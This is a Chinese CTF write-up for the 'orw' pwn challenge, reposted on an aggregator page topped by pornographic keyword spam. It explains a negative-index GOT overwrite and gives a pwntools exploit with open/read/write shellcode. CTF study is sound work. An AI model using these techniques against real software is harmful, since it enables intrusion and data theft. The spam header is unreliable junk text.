日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

PWN题[强网先锋]orw超详细讲解(多解法)

發布時間:2024/9/27 编程问答 23 豆豆
生活随笔 收集整理的這篇文章主要介紹了 PWN题[强网先锋]orw超详细讲解(多解法) 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

知識點

構造一段shellcode的作用就是為了在緩沖區溢出時將shellcode的地址覆蓋正常的返回地址。

\x00 截斷符 shellcode里出現\x00就會從其截斷,所以構造shellcode的時候要避免\x00

x64函數調用規則
x64機器在調用某個函數前,比如int func(int a, int b, int c, int d, int e, int f, int g, int h),首先他會把前6個參數從左往右存入到寄存器rdi、rsi、rdx、rcx、r8、r9,其余參數存入到棧里,保存的順序是從右往左入棧。比如abcdef會存入到寄存器里,然后一次入棧h、g。
保存完參數之后再把函數后面一條指令的地址入棧保存。

解題流程

查看文件類型:

查看保護機制:

因為不是FULL RELRO所以就考慮改got表為shellcode地址

IDA64位打開
Main查看偽碼:

查看子程序

seccomp_init(0LL);
seccomp_rule_add(v1, 2147418112LL, 2LL, 0LL);
做pwn,用seccomp做沙箱保護很常見。有時候seccomp后面會跟一個結構體
seccomp是一類內核里的安全機制,正常情況下,程序可以使用所有的syscall,這是不安全的,比如劫持程序流后通過execve的syscall來getshell.通過seccomp我們可以在程序里禁用掉某些syscall,這樣就算劫持了程序流也只能調用部分的syscall了。
seccomp(全稱securecomputing mode)是linuxkernel從2.6.23版本開始所支持的一類安全機制。
在Linux系統里,大量的系統調用(systemcall)直接暴露給用戶態程序。但是,并不是所有的系統調用都被需要,而且不安全的代碼濫用系統調用會對系統造成安全威脅。通過seccomp,我們限制程序使用某些系統調用,這樣可以減少系統的暴露面,同時是程序進入一類“安全”的狀態。



數字后面有u,uL,uLL:
u代表unsigned,默認為unsigned int
uL代表unsigned long
數字文字的ULL后綴uLL為unsigned long long int,令類型為整數常量unsigned long long int,添加后綴ULL到整數。

1.add

注意:
*((_QWORD *)&unk_2020E0 + v1)即unk_2020E0[v1]

2.show

3.edit

4.delete

釋放分配的內存

漏洞分析


sub_BCA里發現開了沙箱。
先將libseccomp.so.0文件路徑添加到環境變量里
Export LD_LIBRARY_PATH=’/home/kali/Desktop’
再ldd鏈接

限制了只能使用open,read,write

在add里

令index下標為負數時可以覆蓋到其他函數的got表地址

具體解決

下面介紹三個解決方案:

方法一

這里選覆蓋掉exit的got表里的地址,因為沙盒的存在,所以需要構造orw的shellcode并覆蓋exit的got地址為shellcode


exit位置在unk_2020E0位置的上面
相差偏移量:E0-78=0x68=104,再除以8=13,即向上偏移13可覆蓋exit的地址

exp腳本如下:

from pwn import *p=process('./pwn') #p = remote("39.105.131.68","12354") elf=ELF('./pwn') context(os='linux',arch='amd64')shellcode='''xor rax, rax #xor rax,rax是對rax的清零運算操作xor rdi, rdi #清空rdi寄存器的值xor rsi, rsi #清空rsi寄存器的值xor rdx, rdxmov rax, 2 #open調用號為2mov rdi, 0x67616c662f2e #為galf/.為./flag的相反 0x67616c662f2e為/flag的ASCII碼的十六進制push rdimov rdi, rspsyscall #系統調用前,linux在eax寄存器里寫入子功能號,斷止處理程序根據eax寄存器的值來判斷用戶進程申請哪類系統調用。mov rdx, 0x100 #sys_read(3,file,0x100)mov rsi, rdimov rdi, raxmov rax, 0 #read調用號為0,0為文件描述符,即外部輸入,例如鍵盤syscallmov rdi, 1 #sys_write(1,file,0x30)mov rax, 1 #write調用號為1,1為文件描述符,指的是屏幕syscall ''' p.recv() p.sendline('1') p.recvuntil('index:') p.sendline('-13') p.recvuntil('size:') p.sendline('0') p.recvuntil('content:') p.sendline(asm(shellcode)) #asm可以對匯編代碼進行匯編 #gdb.attach(p) p.sendline('5')p.interactive()

flag值為:flag{151a5154-orw1-easy-1234-99bdsa23c7ds}

方法二

覆蓋掉free的got表里的地址,將上面的腳本的偏移-13改為-25即可

方法三

覆蓋掉atoi的got表里的地址,將上面的腳本的偏移-13改為-14即可

方法四

覆蓋掉puts的got表里的地址,將上面的腳本的偏移-13改為-22即可

總結

以上是生活随笔為你收集整理的PWN题[强网先锋]orw超详细讲解(多解法)的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。